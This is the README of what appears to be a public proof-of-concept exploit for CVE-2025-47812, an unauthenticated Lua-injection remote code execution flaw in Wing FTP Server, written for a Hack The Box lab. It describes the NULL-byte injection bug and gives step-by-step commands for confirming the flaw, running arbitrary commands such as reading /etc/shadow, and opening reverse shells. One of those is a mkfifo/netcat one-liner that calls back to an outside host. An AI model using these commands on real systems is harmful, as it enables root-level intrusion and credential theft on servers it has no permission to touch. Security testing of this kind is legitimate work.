0xs4n4tg/cve-2025-47812CVE-2025-47812 Poc for wingdata HTB
Python exploit for the unauthenticated Lua-injection RCE in Wing FTP Server ≤ 7.4.3. Designed for shell delivery — one command from check to a working netcat callback.
Written some time ago for wingData lab on HTB and open-sourced now. Use only against systems you own or have written permission to test.
Wing FTP's c_CheckUser() truncates the username at the first NULL byte for authentication, but the session-creation path writes the full unsanitized username into a Lua session file. Inject anonymous%00]]<lua>-- and the server happily writes your Lua into the session. Hitting any authenticated endpoint (dir.html works) loads that session file via → , executing the injected code as / .
loadfile()f()rootSYSTEMAffected: Wing FTP Server ≤ 7.4.3. Fixed in 7.4.4.
pip install requests
That's it — no other dependencies.
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (the easy path)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
| Flag | Default | Purpose |
|---|---|---|
-u, --url | required | Target base URL — Wing FTP usually listens on :5466 (HTTP) or :5467 (HTTPS). |
-U, --username | anonymous | Username before the NULL byte. Anonymous works on default installs. |
-P, --password | empty | Password for the injection POST. Empty is fine for anonymous. |
-v, --verbose | off | Dumps the Lua payload, URLs hit, and raw response body. |
http://target:5466/login.html in a browser before assuming the URL is wrong.shell mode doesn't land a callback, fall back to detached with the mkfifo payload above. Some minimal Linux images don't ship bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
For educational use and authorized security testing only. You are responsible for the targets you point this at.
MIT — see LICENSE.